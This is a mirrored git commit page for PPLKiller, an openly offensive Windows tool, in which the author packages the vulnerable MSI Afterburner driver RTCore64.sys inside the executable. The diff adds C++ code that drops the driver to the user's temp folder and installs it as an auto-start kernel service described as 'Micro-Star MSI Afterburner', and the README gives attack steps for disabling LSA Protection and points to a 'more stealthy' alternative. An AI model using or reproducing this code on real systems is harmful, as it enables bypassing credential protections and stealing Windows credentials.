admin/RedCursorSecurityConsulting-PPLKiller
1
0
Fork 0
mirror of https://github.com/RedCursorSecurityConsulting/PPLKiller synced 2026-06-21 13:45:37 +00:00
Code Issues Packages Projects Releases Wiki Activity

Driver is now packaged inside the executable

Browse Source
This commit is contained in:
aceb0nd
2021-05-23 21:11:09 +10:00
parent ffeeb9451e
commit e0625017cc
8 changed files with 156 additions and 22 deletions
Download Patch File Download Diff File Expand all files Collapse all files
PPLKiller.vcxproj
+6
View File
@@ -141,6 +141,12 @@
<ItemGroup>
<ClCompile Include="main.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Resource.rc" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
PPLKiller.vcxproj.filters
+10
View File
@@ -19,4 +19,14 @@
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Resource.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
README.md
+6 -13
View File
@@ -5,19 +5,12 @@ I’ve noticed there is a common misconception that LSA Protection prevents atta
# Usage and Demo
1. Open PPLKiller.sln wiht Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe
2. Place the RTCore64.sys (see below) into the same folder as the PPLKiller.exe executable.
# Getting the Driver
Download it [HERE](https://mega.nz/file/BOwWEQjR#7bJqbrL_v-Wzy1ZaL_V4pR_sBDQQyuMddfoMF_ypbDU)
OR
1. Install 7-Zip if you dont already have it
2. Download and extract MSIAfterburnerSetup462Beta2.exe from http://download-eu2.guru3d.com/afterburner/[Guru3D.com]-MSIAfterburnerSetup462Beta2.zip
3. Right-click MSIAfterburnerSetup462Beta2.exe and chose "Open archive"
4. Select "RTCore64.sys" and chose Extract in the top menu
5. Put THIS file in the same directory as PPLKiller.exe
# Tool Usage
You'll always want to run `PPLKiller.exe /installDriver` first, and then an attack like `PPLKiller.exe /disableLSAProtection` and lastly cleanup with `PPLKiller.exe /uninstallDriver`
2. You'll always want to run `PPLKiller.exe /installDriver` first to install the driver
3. Run an attack like `PPLKiller.exe /disableLSAProtection`
4. CLeanup with `PPLKiller.exe /uninstallDriver`
# Vidoe Usage
[![Bypassing LSA Protection](http://img.youtube.com/vi/w2_KqnhgN94/0.jpg)](http://www.youtube.com/watch?v=w2_KqnhgN94 "Bypassing LSA Protection")
# Other
I highly recommend checking https://github.com/itm4n/PPLdump. PPLdump can also disable LSA Protection without loading a driver and is probably more stealthy.
Resource.rc
+4
View File
@@ -0,0 +1,4 @@
#include "resource.h"
#include "winres.h"
IDR_RT_RCDATA1 RCDATA "driver\\RTCore64.sys"
driver/RTCore32.sys
BIN
View File
Binary file not shown.
driver/RTCore64.sys
BIN
View File
Binary file not shown.
main.cpp
+129 -9
View File
@@ -8,6 +8,12 @@
#include <Psapi.h>
#include <cstdio>
#include <Shlobj.h>
#include <Shlobj_core.h>
#include <string_view>
#include "resource.h"
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError()))
#endif
@@ -416,8 +422,124 @@ struct Offsets getVersionOffsets() {
}
int fileExists(TCHAR* file)
{
WIN32_FIND_DATA FindFileData;
HANDLE handle = FindFirstFile(file, &FindFileData);
int found = handle != INVALID_HANDLE_VALUE;
if (found)
{
//FindClose(&handle); this will crash
FindClose(handle);
}
return found;
}
WCHAR* GetUserLocalTempPath() {
//static constexpr std::wstring_view temp_label = L"\\Temp\\";
HWND folder_handle = { 0 };
WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH);
if (temp_path == NULL) {
return NULL;
}
auto get_folder = SHGetFolderPath(folder_handle, CSIDL_LOCAL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, temp_path);
if (get_folder == S_OK) {
// const wchar_t driverName[] = L"\\RTCore64.sys";
wcscat_s(temp_path, MAX_PATH, L"\\Temp\\RTCore64.sys");
//input_parameter = static_cast<const wchar_t*>(temp_path);
//input_parameter.append(temp_label);
CloseHandle(folder_handle);
return temp_path;
}
return NULL;
}
BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) {
// Check the pointers to which we want to write
if (ppRes && pdwResSize) {
HRSRC hRsrc;
// Find the resource ResName of type ResType in the DLL/EXE described by Instance
if (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) {
HGLOBAL hGlob;
// Make sure it's in memory ...
if (hGlob = LoadResource(Instance, hRsrc)) {
// Now lock it to get a pointer
*ppRes = LockResource(hGlob);
// Also retrieve the size of the resource
*pdwResSize = SizeofResource(Instance, hRsrc);
// Return TRUE only if both succeeded
return (*ppRes && *pdwResSize);
}
}
}
// Failure means don't use the values in *ppRes and *pdwResSize
return FALSE;
}
WCHAR* dropDriver() {
//get driver
LPVOID RTCoreDriver;
DWORD driverSize;
if (GetResourcePointer(NULL, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) {
wprintf(L"GetResourcePointer failed\n");
return FALSE;
}
auto tempPath = GetUserLocalTempPath();
if (fileExists(tempPath)) {
return tempPath;
}
HANDLE hFile = CreateFile(tempPath, // name of the write
GENERIC_WRITE, // open for writing
0, // do not share
NULL, // default security
CREATE_NEW, // create new file only
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf(L"Unable to open file \"%s\" for write.\n", tempPath);
return NULL;
}
BOOL bErrorFlag = FALSE;
DWORD dwBytesWritten = 0;
bErrorFlag = WriteFile(
hFile, // open file handle
RTCoreDriver, // start of data to write
driverSize, // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL); // no overlapped structure
if (FALSE == bErrorFlag)
{
wprintf(L"Terminal failure: Unable to write to file.\n");
}
else
{
if (dwBytesWritten != driverSize)
{
// This is an error because a synchronous write that results in
// success (WriteFile returns TRUE) should write all data as
// requested. This would not necessarily be the case for
// asynchronous writes.
wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n");
}
else
{
wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath);
}
}
CloseHandle(hFile);
return tempPath;
}
int wmain(int argc, wchar_t* argv[]) {
getKernelBaseAddr();
if (argc < 2) {
wprintf(L"Usage: %s\n"
" [/disablePPL <PID>]\n"
@@ -430,13 +552,6 @@ int wmain(int argc, wchar_t* argv[]) {
}
const auto svcName = L"RTCore64";
const auto svcDesc = L"Micro-Star MSI Afterburner";
const wchar_t driverName[] = L"\\RTCore64.sys";
const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t);
TCHAR driverPath[pathSize];
GetCurrentDirectory(pathSize, driverPath);
wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t));
if (wcscmp(argv[1] + 1, L"disablePPL") == 0 && argc == 3) {
Offsets offsets = getVersionOffsets();
@@ -459,17 +574,22 @@ int wmain(int argc, wchar_t* argv[]) {
spawnCmd();
}
else if (wcscmp(argv[1] + 1, L"installDriver") == 0) {
WCHAR* driverPath = dropDriver();
const auto svcDesc = L"Micro-Star MSI Afterburner";
if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {
wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
}
}
else if (wcscmp(argv[1] + 1, L"uninstallDriver") == 0) {
service_uninstall(svcName);
auto tempPath = GetUserLocalTempPath();
if (DeleteFile(tempPath) != 0) {
wprintf(L"Deleted %s\n", tempPath);
}
}
else {
wprintf(L"Error: Check the help\n");
}
return 0;
}
resource.h
+1
View File
@@ -0,0 +1 @@
#define IDR_RT_RCDATA1 101